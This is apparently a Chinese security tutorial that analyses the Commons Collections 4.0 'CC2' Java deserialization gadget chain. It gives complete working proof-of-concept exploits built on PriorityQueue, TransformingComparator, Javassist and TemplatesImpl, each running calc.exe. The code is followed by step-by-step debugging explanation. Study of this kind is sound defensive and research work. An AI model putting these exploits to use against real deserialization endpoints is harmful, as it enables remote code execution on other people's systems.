简介

CC2 使用的是 javassistPriorityQueue来构造利用链,并且使用的是commons-collections-4.0版本,而3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,也就是说这是不可以被序列化的,所以CC2不用3.x版本

环境

jdk1.8
image.png
commons collections4-4.0
image.png

POC

首先看poc

  1. package com.myproject;
  2. import org.apache.commons.collections4.Transformer;
  3. import org.apache.commons.collections4.comparators.TransformingComparator;
  4. import org.apache.commons.collections4.functors.ChainedTransformer;
  5. import org.apache.commons.collections4.functors.ConstantTransformer;
  6. import org.apache.commons.collections4.functors.InvokerTransformer;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.util.PriorityQueue;
  10. public class TestCC2 {
  11. public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
  12. Transformer[] transformers = new Transformer[] {
  13. new ConstantTransformer(Runtime.class),
  14. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  15. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
  16. new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
  17. };
  18. Transformer transformerChain = new ChainedTransformer(transformers);
  19. TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
  20. PriorityQueue queue = new PriorityQueue(1);
  21. queue.add(1);
  22. queue.add(2);
  23. Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
  24. field.setAccessible(true);
  25. field.set(queue,Tcomparator);
  26. try{
  27. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  28. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
  29. outputStream.writeObject(queue);
  30. outputStream.close();
  31. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
  32. inputStream.readObject();
  33. }catch(Exception e){
  34. e.printStackTrace();
  35. }
  36. }
  37. }

ysoserial提供的利用链如下

  1. /*
  2. Gadget chain:
  3. ObjectInputStream.readObject()
  4. PriorityQueue.readObject()
  5. ...
  6. TransformingComparator.compare()
  7. InvokerTransformer.transform()
  8. Method.invoke()
  9. Runtime.exec()
  10. */

我们可以看到这段代码,和CC1中的payload是一样的,看过Commons Collection1 分析利用的朋友在这里不难理解为什么我们要这样构造

  1. Transformer[] transformers = new Transformer[] {
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  4. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
  5. new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
  6. };

提出问题

然后看下面的代码,就会好奇了

  1. Transformer transformerChain = new ChainedTransformer(transformers);
  2. TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
  3. PriorityQueue queue = new PriorityQueue(1);
  4. queue.add(1);
  5. queue.add(2);
  6. Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
  7. field.setAccessible(true);
  8. field.set(queue,Tcomparator);

我们在Commons Collection1 分析利用中可以知道,我们需要创建一个map,并绑定transformerchain,并在最后给予map数据转化链,然后再进行序列化,反序列化 最后再触发漏洞。在cc2链其实差不太多,我们需要给予一个数据转化链给comparator(比较器),并绑定transformerchain,然后通过给queue(队列)赋值,最后序列化该实例queue,再反序列化,完成攻击。
并且在java.util.PriorityQueue构造函数中,存在构造函数是可以传入comparator的,为什么还要通过反射,给comparator赋值呢?

  1. public PriorityQueue(int initialCapacity,
  2. Comparator<? super E> comparator) {
  3. // Note: This restriction of at least one is not actually needed,
  4. // but continues for 1.5 compatibility
  5. if (initialCapacity < 1)
  6. throw new IllegalArgumentException();
  7. this.queue = new Object[initialCapacity];
  8. this.comparator = comparator;
  9. }

那么我们不使用反射,就利用构造函数来试一试呢?

  1. package com.myproject;
  2. import org.apache.commons.collections4.Transformer;
  3. import org.apache.commons.collections4.comparators.TransformingComparator;
  4. import org.apache.commons.collections4.functors.ChainedTransformer;
  5. import org.apache.commons.collections4.functors.ConstantTransformer;
  6. import org.apache.commons.collections4.functors.InvokerTransformer;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.util.PriorityQueue;
  10. public class TestCC2 {
  11. public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
  12. Transformer[] transformers = new Transformer[] {
  13. new ConstantTransformer(Runtime.class),
  14. new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  15. new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
  16. new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
  17. };
  18. Transformer transformerChain = new ChainedTransformer(transformers);
  19. TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
  20. PriorityQueue queue = new PriorityQueue(1, Tcomparator);
  21. queue.add(1);
  22. queue.add(2);
  23. try{
  24. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.ser"));
  25. outputStream.writeObject(queue);
  26. outputStream.close();
  27. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.ser"));
  28. inputStream.readObject();
  29. }catch(Exception e){
  30. e.printStackTrace();
  31. }
  32. }
  33. }

在这里就有一个很隐藏的问题,看似执行了命令,但是却没有生成cc2.ser反序列化文件,说明没有进入try{}catch(),那么执行的命令就是客户端命令,而不会发送到服务端
image.png
在此处分析一下,为什么我们将Tcomparator通过构造函数写进去,生成的实例化对象queue,是不会进行进入try代码块序列化,就直接在客户端执行命令

分析

在queue.add处调试,在PriorityQueue这个构造函数中,这里就是我们传入的TransformingComparator
image.png
继续跟进,在queue.add(2)中,调用了offer方法
image.png
跟进offer方法,在这里需要关注siftUp方法
image.png
在siftUp方法中,comparator不为null(是我们传入的TransformingComparator),则进入if循环,调用siftUpUsingComparator 方法
image.png
重点到comparator.compare()方法中,跟进
image.png
就到了compare方法中,在这里调用了两次this.transformer.transform方法
image.png
iTransformer从arr(构造的transformers[]数组)里取值,再调用transform方法
image.png
transform 方法就实现链式调用,执行transformers[]数组Runtime.getRuntime.exec() 方法
image.png
像这样执行了两次,导致会弹出两次计算器,然后在此处执行完命令就抛出异常,程序就直接crashimage.png此时根本就还只是在向队列添加数据阶段,还没有进行序列化就直接crash,是根本就不行的

解决方案

我们在调用了siftUpUsingComparator方法,如果不走if分支,走else分支呢?也就是说不传入comparator,让其为null

  1. PriorityQueue queue = new PriorityQueue(1);
  2. queue.add(1);
  3. queue.add(2);

当其为null的时候,进入siftUpComparable方法,可以发现在这里只对队列进行了赋值操作,并没有进行compare操作。 返回后就执行序列化代码,但是并没有执行命令
image.png
那么如果需要在readObject中调用compare方法这个是否可能成功呢? 这里我们要知道,序列化是将对象转换成字符串的过程,反序列化是将字符串转换成对象的过程,那么在反序列化的过程中,读取了字符串,将其转换成对象之后是不是就需要赋值操作呢?那么在赋值操作的时候,我们不让comparator为null,那么就能进入到siftDownUsingComparator函数中
image.png
条件:

  1. 要执行try-catch代码块的内容 -> queue 只执行赋值操作,在进行赋值操作的时候,comparator为null
  2. 在readObject的时候,需要执行compare函数 -> 赋值操作完成之后,序列化时PriorityQueue的comparator不能为null,否则反序列化时comparator就会为空,就不能进入siftDownUsingComparator函数中
    1. queue.add(1);
    2. queue.add(2);
    3. Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
    4. field.setAccessible(true);
    5. field.set(queue,Tcomparator);
    在反序列化的时候,在readObejct函数里,执行heapify函数
    image.png
    我们通过反射设置了comparator为Tcomparator,此时comparator不为null,此时进入siftDownUsingComparator函数
    image.png
    在执行compare函数后,就执行transformer.transform方法,进行链式调用执行
    image.png
    到这里就执行了Runtime.getRuntime.exec("calc.exe")

    Javassist

    Javassit字节码编程

    介绍

    Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。
    能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
    Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
    下面大概讲一下POC中会用到的类和方法:

    ClassPool

    ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。
    常用方法:
  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;

    CtClass

    CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取
    常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;

  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);

    示例代码

    ```java package com.myproject; import javassist.*;

public class TestJavassist { public static void createPerson() throws Exception{ //实例化一个ClassPool容器 ClassPool pool = ClassPool.getDefault(); //新建一个CtClass,类名为Cat CtClass cc = pool.makeClass(“Cat”); //设置一个要执行的命令 String cmd = “System.out.println(\”javassit_test succes!\”);”; //制作一个空的类初始化,并在前面插入要执行的命令语句 cc.makeClassInitializer().insertBefore(cmd); //重新设置一下类名 String randomClassName = “EvilCat” + System.nanoTime(); cc.setName(randomClassName); //将生成的类文件保存下来 cc.writeFile(); //加载该类 Class c = cc.toClass(); //创建对象 c.newInstance(); }

  1. public static void main(String[] args) throws Exception {
  2. createPerson();
  3. }

}

  1. 新生成的类是这样子的,其中有一块static代码; <br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/21929389/1650536620768-9aeaa776-940b-4e85-8e34-09b28c072e96.png#clientId=ubbc6c05c-8e16-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=1040&id=uaf51dbb1&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1040&originWidth=1920&originalType=binary&ratio=1&rotation=0&showTitle=false&size=150248&status=done&style=none&taskId=ue137de67-f74e-4ed9-9191-b9324d6c079&title=&width=1920)<br />当该类被实例化的时候,就会执行static里面的语句;<br />在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassist;
  2. <a name="blEvW"></a>
  3. ### POC
  4. ```java
  5. package com.myproject;
  6. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  7. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  8. import javassist.*;
  9. import org.apache.commons.collections4.comparators.TransformingComparator;
  10. import org.apache.commons.collections4.functors.InvokerTransformer;
  11. import java.io.FileInputStream;
  12. import java.io.FileOutputStream;
  13. import java.io.ObjectInputStream;
  14. import java.io.ObjectOutputStream;
  15. import java.lang.reflect.Constructor;
  16. import java.lang.reflect.Field;
  17. import java.util.PriorityQueue;
  18. public class TestJavassist {
  19. public static void main(String[] args) throws Exception {
  20. Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
  21. constructor.setAccessible(true);
  22. InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
  23. TransformingComparator Tcomparator = new TransformingComparator(transformer);
  24. PriorityQueue queue = new PriorityQueue(1);
  25. ClassPool pool = ClassPool.getDefault();
  26. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  27. CtClass cc = pool.makeClass("Cat");
  28. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
  29. cc.makeClassInitializer().insertBefore(cmd);
  30. String randomClassName = "EvilCat" + System.nanoTime();
  31. cc.setName(randomClassName);
  32. // cc.writeFile();
  33. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  34. byte[] classBytes = cc.toBytecode();
  35. byte[][] targetByteCodes = new byte[][]{classBytes};
  36. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  37. setFieldValue(templates, "_bytecodes", targetByteCodes);
  38. setFieldValue(templates, "_name", "1");
  39. setFieldValue(templates, "_class", null);
  40. Object[] queue_array = new Object[]{templates,1};
  41. Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
  42. queue_field.setAccessible(true);
  43. queue_field.set(queue,queue_array);
  44. Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
  45. size.setAccessible(true);
  46. size.set(queue,2);
  47. Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
  48. comparator_field.setAccessible(true);
  49. comparator_field.set(queue,Tcomparator);
  50. try{
  51. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
  52. outputStream.writeObject(queue);
  53. outputStream.close();
  54. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
  55. inputStream.readObject();
  56. }catch(Exception e){
  57. e.printStackTrace();
  58. }
  59. }
  60. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  61. final Field field = getField(obj.getClass(), fieldName);
  62. field.set(obj, value);
  63. }
  64. public static Field getField(final Class<?> clazz, final String fieldName) {
  65. Field field = null;
  66. try {
  67. field = clazz.getDeclaredField(fieldName);
  68. field.setAccessible(true);
  69. }
  70. catch (NoSuchFieldException ex) {
  71. if (clazz.getSuperclass() != null)
  72. field = getField(clazz.getSuperclass(), fieldName);
  73. }
  74. return field;
  75. }
  76. }

由于这个链于第一个payload 不同,在这里我讲解每一段代码的用法

0x1

通过反射实例化InvokerTransformer对象,设置InvokerTransformermethodNamenewTransformer
这里做的目的是为了调用后面我们设置的**TemplatesImpl****newTransformer**方法,而这个**Tcomparator**就如第一个poc一样,将进入**comparator.compare()**方法,进行**transform**方法,进而执行**method.invoke(input,this.args)**,为后续做铺垫

  1. Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
  2. constructor.setAccessible(true);
  3. InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
  4. TransformingComparator Tcomparator = new TransformingComparator(transformer);
  5. PriorityQueue queue = new PriorityQueue(1);

0x2

这里需要使用javassit对应的代码,为什么要继承AbstractTranslet类?这里为什么要将类转换成byte数据,并且还一定要放置在byte[][]中?

  1. //实例化一个ClassPool容器
  2. ClassPool pool = ClassPool.getDefault();
  3. //向pool容器类搜索路径的起始位置插入AbstractTranslet.class
  4. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  5. //新建一个CtClass,类名为Cat
  6. CtClass cc = pool.makeClass("Cat");
  7. //设置一个要执行的命令
  8. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
  9. //制作一个空的类初始化,并在前面插入要执行的命令语句
  10. cc.makeClassInitializer().insertBefore(cmd);
  11. //重新设置一下类名,生成的类的名称就不再是Cat
  12. String randomClassName = "EvilCat" + System.nanoTime();
  13. cc.setName(randomClassName);
  14. // cc.writeFile();
  15. //继承AbstractTranslet类 **重点**
  16. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  17. //将该类转换为字节数组
  18. byte[] classBytes = cc.toBytecode();
  19. //将一维数组classBytes放到二维数组targetByteCodes的第一个元素
  20. byte[][] targetByteCodes = new byte[][]{classBytes};

在这里因为我们使用的TemplatesImpl,在其对应的_bytecodes参数中,是需要一个二维byte数组,并且在后续需要实例化_bytecodes的时候会检查是否继承了AbstractTranslet
image.png

0x3

在这里通过给实例化的templates中的_bytecodes_name_class赋值操作,由于这些参数都是private,只能通过反射赋值,且_bytecodesjavassit动态生成的恶意类,_name可以为任意值,但是不能为空,_class一定为null,为什么要这样,在调试的时候再做解释

  1. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  2. setFieldValue(templates, "_bytecodes", targetByteCodes);
  3. setFieldValue(templates, "_name", "1");
  4. setFieldValue(templates, "_class", null);
  5. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  6. final Field field = getField(obj.getClass(), fieldName);
  7. field.set(obj, value);
  8. }
  9. public static Field getField(final Class<?> clazz, final String fieldName) {
  10. Field field = null;
  11. try {
  12. field = clazz.getDeclaredField(fieldName);
  13. field.setAccessible(true);
  14. }
  15. catch (NoSuchFieldException ex) {
  16. if (clazz.getSuperclass() != null)
  17. field = getField(clazz.getSuperclass(), fieldName);
  18. }
  19. return field;
  20. }

0x4

第一部分相当于是给queue赋值,相当于执行add操作,第二部分是给queue设置为2,第三部分就是在poc中强调的部分,最后通过反射将comparator绑定到实例化的queue中

  1. Object[] queue_array = new Object[]{templates,1};
  2. Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
  3. queue_field.setAccessible(true);
  4. queue_field.set(queue,queue_array);
  5. Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
  6. size.setAccessible(true);
  7. size.set(queue,2);
  8. Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
  9. comparator_field.setAccessible(true);
  10. comparator_field.set(queue,Tcomparator);

0x5

模拟网络传输,执行序列化与反序列化

  1. try{
  2. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
  3. outputStream.writeObject(queue);
  4. outputStream.close();
  5. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
  6. inputStream.readObject();
  7. }catch(Exception e){
  8. e.printStackTrace();
  9. }

分析

在inputStream.readObject()处打断点,跟进直到comparator.compare()方法中图片.png进入comparator.compare() 方法中图片.png在这里可以看到这里会去执行TemplatesImpl.newTransformer()方法图片.png在下一步,我们进入getTransletInstance()方法
在这里可以看到0x3中说_name可以为任意值,但不能为null,以及_class要为null,因为只有当_class为null,才能执行defineTransletClasses()函数图片.png进入defineTransletClasses函数,可以看到这个注释,大概意思就是会返回对自定义的类图片.png
loader.defineClass(_bytecodes[i]); 将字节数组还原为Class对象 ,_class[0]就是恶意类
这里对比父类是否是AbstractTranslet,这里就解释了0x2中为什么一定要继承AbstractTranslet图片.png如果_transletIndex没有被赋值(初始值为-1),那么在下面的if语块中就会抛出异常图片.png在这里实例化_class[_transletIndex].newInstance(),也就是我们使用Javassit生成的恶意代码(执行Runtime.getRuntime.exec()图片.png图片.png

总结

构造CC2要比CC1更复杂,其中CC2使用TemplatesImpl需要注意

  • comparator不需要再构造transformerChain,而是需要调用TemplayesImpl的newTransformer方法
  • 恶意类需要继承AbstractTranslet类
  • 对应的参数一定要构造正常

链路为TemplatesImpl.newTransformer -> getTransletInstance() -> defineTransletClasses -> 得到字节数组还原为的Class对象 -> 实例化
最后添加根据ysoserial CC2 的payload,改了一个可用的poc

  1. package com.myproject;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  4. import javassist.CannotCompileException;
  5. import javassist.ClassClassPath;
  6. import javassist.ClassPool;
  7. import javassist.CtClass;
  8. import org.apache.commons.collections4.comparators.TransformingComparator;
  9. import org.apache.commons.collections4.functors.InvokerTransformer;
  10. import java.io.FileInputStream;
  11. import java.io.FileOutputStream;
  12. import java.io.ObjectInputStream;
  13. import java.io.ObjectOutputStream;
  14. import java.lang.reflect.Field;
  15. import java.util.PriorityQueue;
  16. public class yso2CC2 {
  17. public static void main(String[] args) throws Exception {
  18. InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
  19. PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
  20. queue.add(1);
  21. queue.add(2);
  22. setFieldValue(transformer,"iMethodName","newTransformer");
  23. ClassPool pool = ClassPool.getDefault();
  24. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  25. CtClass cc = pool.makeClass("Cat");
  26. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
  27. cc.makeClassInitializer().insertBefore(cmd);
  28. String randomClassName = "EvilCat" + System.nanoTime();
  29. cc.setName(randomClassName);
  30. // cc.writeFile();
  31. cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  32. byte[] classBytes = cc.toBytecode();
  33. byte[][] targetByteCodes = new byte[][]{classBytes};
  34. TemplatesImpl templates = TemplatesImpl.class.newInstance();
  35. setFieldValue(templates, "_bytecodes", targetByteCodes);
  36. setFieldValue(templates, "_name", "1");
  37. Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
  38. queueArray[0] = templates;
  39. queueArray[1] = 1;
  40. try{
  41. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./ycc2.ser"));
  42. outputStream.writeObject(queue);
  43. outputStream.close();
  44. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./ycc2.ser"));
  45. inputStream.readObject();
  46. }catch(Exception e){
  47. e.printStackTrace();
  48. }
  49. }
  50. public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
  51. final Field field = getField(obj.getClass(), fieldName);
  52. field.set(obj, value);
  53. }
  54. public static Field getField(final Class<?> clazz, final String fieldName) {
  55. Field field = null;
  56. try {
  57. field = clazz.getDeclaredField(fieldName);
  58. field.setAccessible(true);
  59. }
  60. catch (NoSuchFieldException ex) {
  61. if (clazz.getSuperclass() != null)
  62. field = getField(clazz.getSuperclass(), fieldName);
  63. }
  64. return field;
  65. }
  66. public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
  67. final Field field = getField(obj.getClass(), fieldName);
  68. return field.get(obj);
  69. }
  70. }

参考链接

https://xz.aliyun.com/t/8164
https://xz.aliyun.com/t/10387